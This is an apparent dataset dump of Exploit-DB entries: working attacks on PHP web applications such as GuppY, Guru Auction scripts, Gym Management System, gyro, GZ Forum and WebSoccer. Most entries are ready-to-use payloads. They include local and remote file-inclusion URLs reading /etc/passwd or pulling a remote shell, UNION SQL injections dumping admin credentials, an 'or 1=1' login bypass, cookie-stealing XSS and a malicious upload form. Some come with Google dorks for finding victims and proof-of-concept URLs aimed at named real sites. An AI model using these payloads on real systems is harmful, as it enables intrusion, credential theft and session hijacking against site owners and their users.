deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4602
Description: GuppY 4.6.3 - 'index.php?selskin' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-03
Author: irk4z

Exploit:
vuln.: GuppY 4.6.3 (includes.inc selskin) Remote File Inclusion
  script info and download: http://www.freeguppy.org/
  dork: "Site powered by GuppY" 
 
  author: irk4z[at]yahoo.pl
  greets to: str0ke, rgod, polish under :*
'-----------------------------------------------------------------------------' 
 
# code:

   /tinymsg.php, line 24:
   ...
24    define("CHEMIN", "");
   ...   
   
   /inc/includes.inc, lines 155-168:
   ...
155   if (isset($selskin)) {
156     $page[14]=$selskin;
157   }
158
159   if (is_file(CHEMIN."skin/".$page[14]."/skin".INCEXT)) {
160    include(CHEMIN."skin/".$page[14]."/skin".INCEXT);
161   } else {
162    include(CHEMIN."skin/no_skin/skin".INCEXT);
163   }
164   if (is_file(CHEMIN."skin/".$page[14]."/confskin".INCEXT)) {
165    include(CHEMIN."skin/".$page[14]."/confskin".INCEXT);
166   } else {
167    include(CHEMIN."skin/no_skin/confskin".INCEXT);
168   }
   ...
   
   Local file inclusion on line 160 in $selskin, and I have used code
   from:
   
   /inc/boxleft.inc, lines 98-102:
   
   ...
98    for($ii=0; $ii<count($xposbox["L"]); $ii++) {
99      if ($userprefs[3] != "R" && $xposbox["L"][$ii] != '') {
100      include(CHEMIN.$xposbox["L"][$ii].INCEXT);
101      $onemenu = 1;
102   }
   ...
   
   so.. i have remote file inclusion :D
   
# exploits:

 local file inclusion:
   http://[HOST]/[PATH]/index.php?selskin=[LFI]%00
   http://[HOST]/[PATH]/index.php?selskin=..%2F..%2F..%2F..%2F.%2Fetc%2Fpasswd%00
   
 remote file inclusion:
   http://[HOST]/[PATH]/index.php?selskin=..%2Finc%2Fboxleft.inc%00&xposbox[L][]=[RFI]
   http://[HOST]/[PATH]/index.php?selskin=..%2Finc%2Fboxleft.inc%00&xposbox[L][]=http:%2F%2Fhost%2Fshell?
   
   ^ xposbox[L][] and selskin must be encode because GuppY filtering query..   

# another bug: 

rgod on 2007-01-29 published local file inclusion in error.php $id variable,
but GuppY authors didn't patch it  :(  so you can upload file to

 http://[HOST]/[PATH]/file/[your uploaded file]


<form name="uploadit" enctype="multipart/form-data" method="post" action="http://[HOST]/[PATH]/error.php?">
<input type="hidden" name="id" value="../../admin/inc/upload" alt="don't change! ;]" />
<input type="hidden" name="pg" value="upload" />
<input type="hidden" name="rep" value="file" />
<input type="file"   name="ficup" size="36" />
<input type="hidden" name="OK" value="1" />
<input type="submit" value=" ok " />
</form>

# milw0rm.com [2007-11-03]
Exploit-DB #23673
Description: Guru Auction 2.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-12-26
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
        Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://ycl.sch.id/
Date		: December, 26-2012
Location	: Yogyakarta, Indonesia
Time Zone	: GMT +7:00

Application	: Guru Auction 2.0
Price		: $49
Vendor  	: http://www.guruscript.com/
Google Dork	: inurl:subcat.php?cate_id=
-----------------------------------------------------------------------

SQLi p0c:
~~~~~~~~~~
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--


Blind SQLi p0c:
~~~~~~~~~~
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false


Default Admin Page:
~~~~~~~~~~
http://domain.tld/[path]/admin/

-----------------------------------------------------------------------

Thanks:

LeQhi, lingah, Ozie, m4rc0, g0nz, L1ntang, GheMaX, chainloader, SakitJiwa, Susant, dextone, drubicza, f4c0
Exploit-DB #17350
Description: Guru JustAnswer Professional 1.25 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-05-30
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
Guru JustAnswer Professional 1.25 Multiple SQL Injection Vulnerabilities
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: May, 31-2011
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Guru JustAnswer Professional
Vendor  	: http://www.guruscript.com/
Price		: $499 USD
Version 	: 1.25 Other versions may also be affected
Google Dork	: allinurl:forum_answer.php?que_id= "Powered By Guruscript.com"

"NEW" GURU JUSTANSWER PROFESSIONAL 1.25 is a new powerful, scalable 
& fully-featured application that lets you create a online experts 
consultation site.
----------------------------------------------------------------

SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/forum_answer.php?que_id=[SQLi]
http://127.0.0.1/[path]/profile.php?id=[SQLi]

----------------------------------------------------------------
                   ALL YOGYACARDERLINK CREW
---------------------------[EOF]--------------------------------
Exploit-DB #17336
Description: Guru Penny Auction Pro 3.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-05-28
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
      Guru Penny Auction Pro V3 Blind SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: May, 28-2011
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Guru Penny Auction Pro V3
Vendor  	: http://www.guruscript.com
Price		: $387 USD
Version 	: 3.0 Other versions may also be affected
Google Dork	: Use your brain & imagination :)

"NEW"GURU PENNY AUCTION PRO V3 is a powerful, scalable & 
fully-featured application that lets you create the ultimate 
profitable online penny auction website.
----------------------------------------------------------------

Blind SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/auction_details.php?prodid=72+AND+SUBSTRING(@@version,1,1)=5 << true
http://127.0.0.1/[path]/auction_details.php?prodid=72+AND+SUBSTRING(@@version,1,1)=4 << false
----------------------------------------------------------------
                   ALL YOGYACARDERLINK CREW
---------------------------[EOF]--------------------------------
Exploit-DB #30511
Description: Gurur Haber 2.0 - 'Uyeler2.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-20
Author: dumenci

Exploit:
source: https://www.securityfocus.com/bid/25368/info

Gurur Haber is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/uyeler2.php?id=-1%20union+select+0,kadi,2,id,sifre,5,6,7,8,9,10,11+from+uyeler
Exploit-DB #48936
Description: Gym Management System 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-10-23
Author: Jyotsna Adhana

Exploit:
# Exploit Title: Gym Management System 1.0 - 'id' SQL Injection
# Date: 22/10/2020
# Exploit Author: Jyotsna Adhana
# Vendor Homepage: https://www.sourcecodester.com/php/14541/gym-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14541&title=Gym+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

#parameter Vulnerable: id
# Injected Request

GET /gym/gym/manage_user.php?id=-1+UNION+ALL+SELECT+NULL,GROUP_CONCAT(database(),version()),NULL,NULL,NULL-- HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://localhost/gym/gym/index.php?page=users
Cookie: PHPSESSID=7lojvad06l803amt3f7hp7o8re


//Comment
Above request will print database name and MariaDB version.
Exploit-DB #48940
Description: Gym Management System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-10-23
Author: Jyotsna Adhana

Exploit:
# Exploit Title: Gym Management System 1.0 - Authentication Bypass
# Date: 21/10/2020
# Exploit Author: Jyotsna Adhana
# Vendor Homepage: https://www.sourcecodester.com/php/14541/gym-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14541&title=Gym+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

Step 1: Open the URL http://localhost/gym/gym/login.php

Step 2: use payload jyot' or 1=1# in Username and Password field

Malicious Request

POST /gym/gym/ajax.php?action=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 55
Origin: http://localhost
Connection: close
Referer: http://localhost/gym/gym/login.php
Cookie: PHPSESSID=7lojvad06l803amt3f7hp7o8re; laravel_session=eyJpdiI6IlBXakg2NzB1cVBEWVZtemIwVzZ6NVE9PSIsInZhbHVlIjoiU2dsaTN1alRCXC9cL1I5dnNzRDlPRDlXTDZ4UUFiakhlN0JLVzB4MnpOVVZibnpISDNFS1k3YjdzWWM2UWRzVEZyIiwibWFjIjoiZGRmODE1NGFhN2JhY2U2NTNhOWU1MzViMjFjYWExM2UzNzYwN2QzZDZmNDQwNjcyMjA1MjJiYTI2NDU2Y2Q1MSJ9; XSRF-TOKEN=eyJpdiI6IlBSMFVNT3NoYkNNVTRpQzNDRHNDNXc9PSIsInZhbHVlIjoiSmF2WXRabHhCZHNZdVlmd1RGeU1pakdoT2JQaWdvcFgzK1QzeFJ6YzRiVGZ5VGdMcmp6SlMrbVl4cnZucG9OZSIsIm1hYyI6Ijc2NzA5MjYzM2E2NjgwMWZlZmFlM2JlOTI2ZmI2YTA3NmE2M2FiYjdlN2E2NzI1NmVhZjA2N2FmOTgwOTlkZGUifQ%3D%3D

username=jyot'+or+1%3D1+%23&password=jyot'+or+1%3D1+%23

Step 3: You will be logged in as admin.
Exploit-DB #48941
Description: Gym Management System 1.0 - Stored Cross Site Scripting
Type: webapps
Platform: php
Date: 2020-10-23
Author: Jyotsna Adhana

Exploit:
# Exploit Title: Gym Management System 1.0 - Stored Cross Site Scripting
# Date: 21/10/2020
# Exploit Author: Jyotsna Adhana
# Vendor Homepage: https://www.sourcecodester.com/php/14541/gym-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14541&title=Gym+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

Step 1: Open the URL http://localhost/gym/gym/index.php?page=packages

Step 2: use payload <script>alert(document.cookie)</script> in Package Name and Description field

Malicious Request
POST /gym/gym/ajax.php?action=save_package HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]740129710
Content-Length: 587
Origin: http://localhost
Connection: close
Referer: http://localhost/gym/gym/index.php?page=packages
Cookie: PHPSESSID=7lojvad06l803amt3f7hp7o8re; laravel_session=eyJpdiI6IlBXakg2NzB1cVBEWVZtemIwVzZ6NVE9PSIsInZhbHVlIjoiU2dsaTN1alRCXC9cL1I5dnNzRDlPRDlXTDZ4UUFiakhlN0JLVzB4MnpOVVZibnpISDNFS1k3YjdzWWM2UWRzVEZyIiwibWFjIjoiZGRmODE1NGFhN2JhY2U2NTNhOWU1MzViMjFjYWExM2UzNzYwN2QzZDZmNDQwNjcyMjA1MjJiYTI2NDU2Y2Q1MSJ9; XSRF-TOKEN=eyJpdiI6IlBSMFVNT3NoYkNNVTRpQzNDRHNDNXc9PSIsInZhbHVlIjoiSmF2WXRabHhCZHNZdVlmd1RGeU1pakdoT2JQaWdvcFgzK1QzeFJ6YzRiVGZ5VGdMcmp6SlMrbVl4cnZucG9OZSIsIm1hYyI6Ijc2NzA5MjYzM2E2NjgwMWZlZmFlM2JlOTI2ZmI2YTA3NmE2M2FiYjdlN2E2NzI1NmVhZjA2N2FmOTgwOTlkZGUifQ%3D%3D

----------------------------[PII_REDACTED][PII_REDACTED]740129710
Content-Disposition: form-data; name="id"


----------------------------[PII_REDACTED][PII_REDACTED]740129710
Content-Disposition: form-data; name="package"

<script>alert(document.cookie)</script>
----------------------------[PII_REDACTED][PII_REDACTED]740129710
Content-Disposition: form-data; name="description"

<script>alert(document.cookie)</script>
----------------------------[PII_REDACTED][PII_REDACTED]740129710
Content-Disposition: form-data; name="amount"

1
----------------------------[PII_REDACTED][PII_REDACTED]740129710--

Step 3: Cookie will be reflected each time someone visits the Packages section.
Exploit-DB #51777
Description: GYM MS - GYM Management System - Cross Site Scripting (Stored)
Type: webapps
Platform: php
Date: 2024-02-05
Author: yozgatalperen1

Exploit:
# Exploit Title: GYM MS - GYM Management System - Cross Site Scripting (Stored)
# Date: 29/09/2023
# Vendor Homepage: https://phpgurukul.com/gym-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/projects/GYM-Management-System-using-PHP.zip
# Version: 1.0
# Last Update: 31 August 2022
# Tested On: Kali Linux 6.1.27-1kali1 (2023-05-12) x86_64 + XAMPP 7.4.30

# 1: Create user, login and go to profile.php

# 2: Use payload x%22%20onmouseover%3Dalert%28document.cookie%29%20x%3D%22 in lname field.

# 3: When entering the profile.php page, document.cookie will be reflected every time.

# Author
This vulnerability was detected by Alperen Yozgat while testing with the Rapplex - Web Application Security Scanner.

# About Rapplex
Rapplex is a web applicaton security scanner that scans and reports vulnerabilities in websites.
Pentesters can use it as an automation tool for daily tasks but "Pentester Studio" will provide such a great addition as well in their manual assessments.
So, the software does not need separate development tools to discover different types of vulnerabilities or to develop existing engines. 
"Exploit" tools are available to take advantage of vulnerabilities such as SQL Injection, Code Injection, Fle Incluson.


# HTTP Request 

POST /gym/profile.php HTTP/1.1
Host: localhost
Content-Length: 129
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: PHPSESSID=76e2048c174c1a5d46e203df87672c25 #CHANGE
Connection: close

fname=test&lname=x%22%20onmouseover%3Dalert%28document.cookie%29%20x%3D%22&email=john%40test.com&mobile=[PII_REDACTED]&state=Delhi&city=New+Delhi&address=ABC+Street+XYZ+Colony&submit=Update
Exploit-DB #9640
Description: gyro 5.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-11
Author: OoN_Boy

Exploit:
[+]=================================================================[+]
	____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ 
	||A |||n |||t |||i |||S |||c |||e |||r |||u |||t |||i |||y ||
	||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||
	|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|
	------------------------------------------------------------
				http://antisecurity.org
[+]=================================================================[+]
		[x]Title    : Gyro V5.0 [Sql/Xss] Multiple Remote Vulnerabilities
		[x]Software : Gyro V5.0
		[x]Vendor   : http://www.datavore.com
		[x]Date     : 11 September 2009 ( Indonesia ) 
		[x]Author   : OoN_Boy
		[x]Contact  : oon.boy9@gmail.com
		[x]Blog     : http://oonboy.blogspot.com
		[x]Website	: http://oonboy.info
[+]=================================================================[+]
		[x] Google Dork

		"powered by Gyro V5.0"
[+]=================================================================[+]
		[x] Exploit
		http://localhost/home?op=cat&cid=[sql]
		http://localhost/home?op=cat&cid=[Xss]
		
		[x] Proof of concept
		http://www.vansda.ca/home?op=cat&cid=29+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14--
		http://www.vansda.ca/home?op=cat&cid=29"><script>alert(123456)</script>
		http://www.phpmath.com/home?op=cat&cid=29+union+select+version(),2,3,4,5,6,7,8,9,10,11,12,13,14--
		http://www.phpmath.com/home?op=cat&cid=29"><script>alert(123456)</script>
[+]=================================================================[+]
        [x] Greetz

        Antisecurity[dot]Org www.BatamHacker.or.id www.MainHack.com  www.ServerIsDown.org - 
	    Vrs-hCk, c0li, h4ntu, Opay, Ipay, Paman, NoGe, H312Y, pizzyroot,
	    zxvf, Joe Chawanua, k0rea [Ntc],xx_user, s3t4n, Angela Chang, IrcMafia,
	    str0ke, em|nem, Pandoe, Ronny ^s0n g0ku^

[+]=================================================================[+]
	    [x] Wew
		[03:49] <&OoN_Boy> ============================
		[03:49] <&OoN_Boy> [03:48] <&chawanua> mentang2 dah jadian ama si noge ..
		[03:49] <&OoN_Boy> [03:48] <&Jack> xixixi
		[03:49] <&OoN_Boy> [03:48] <&Jack> maap maap
		[03:49] <&OoN_Boy> [03:48] <&Jack> :D
		[03:49] <&OoN_Boy> [03:48] <&chawanua> si bob ko tinggalin 
		[03:49] <&OoN_Boy> [03:49] <&Jack> aq homo, begitu jg dirimu
		[03:49] <&OoN_Boy> ============================
[+]=================================================================[+]
           ---------===Jangan Ngambek Jack ===---------

# milw0rm.com [2009-09-11]
Exploit-DB #51559
Description: GZ Forum Script 1.8 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-07-03
Author: CraCkEr

Exploit:
# Exploit Title: GZ Forum Script 1.8 - Stored Cross-Site Scripting (XSS)
# Date: 30/06/2023
# Exploit Author: CraCkEr
# Vendor: GZ Scripts
# Vendor Homepage: https://gzscripts.com/
# Software Link: https://gzscripts.com/gz-forum-script.html
# Version: 1.8
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site

## Release Notes:

Reflected XSS:

The attacker can send to victim a link containing a malicious URL in an email or
instant message can perform a wide variety of actions, such as stealing the victim's
session token or login credentials

Stored XSS
Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.

## Reflected XSS
Path: /preview.php

GET 'catid' parameter is vulnerable to RXSS

http://www.website/preview.php?controller=Load&action=index&catid=moztj%22%3e%3cscript%3ealert(1)%3c%2fscript%3ems3ea&down_up=a


Path: /preview.php

GET 'topicid' parameter is vulnerable to RXSS

http://www.website/preview.php?controller=Load&action=topic&topicid=1wgaff%22%3e%3cscript%3ealert(1)%3c%2fscript%3exdhk2

## Stored XSS
-----------------------------------------------
POST /GZForumScript/preview.php?controller=Load&action=start_new_topic HTTP/1.1

----------------------------[PII_REDACTED][PII_REDACTED]381709325
Content-Disposition: form-data; name="free_name"

<script>alert(1)</script>
----------------------------[PII_REDACTED][PII_REDACTED]381709325
Content-Disposition: form-data; name="topic"

<script>alert(1)</script>
----------------------------[PII_REDACTED][PII_REDACTED]381709325
Content-Disposition: form-data; name="topic_message"

<script>alert(1)</script>
----------------------------[PII_REDACTED][PII_REDACTED]381709325--

-----------------------------------------------

POST parameter 'free_name' is vulnerable to XSS
POST parameter 'topic' is vulnerable to XSS
POST parameter 'topic_message' is vulnerable to XSS


## Steps to Reproduce:

1. As a [Guest User] Click on [New Topic] to create a "New Topic" on this Path (http://website/preview.php?controller=Load&action=start_new_topic)
2. Inject your [XSS Payload] in "Name"
3. Inject your [XSS Payload] in "Topic Title "
4. Inject your [XSS Payload] in "Topic Message"
5. Submit

4. XSS Fired on Visitor Browser's when they Visit the Topic you Infect your [XSS Payload] on

5. XSS Fired on ADMIN Browser when he visit [Dashboard] in Administration Panel on this Path (https://website/GzAdmin/dashboard)
6. XSS Fired on ADMIN Browser when he visit [Topic] & [All Topics] to check [New Topics] on this Path (https://website/GzTopic/index)
Exploit-DB #32541
Description: H&H Solutions WebSoccer 2.80 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-28
Author: d3v1l

Exploit:
source: https://www.securityfocus.com/bid/31963/info

H&H Solutions WebSoccer is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

H&H Solutions WebSoccer 2.80 is vulnerable; other versions may also be affected. 

http://www.example.com/liga.php?id=1'UNION SELECT concat_ws(0x3a,version(),database(),user()),2,3,4,5/*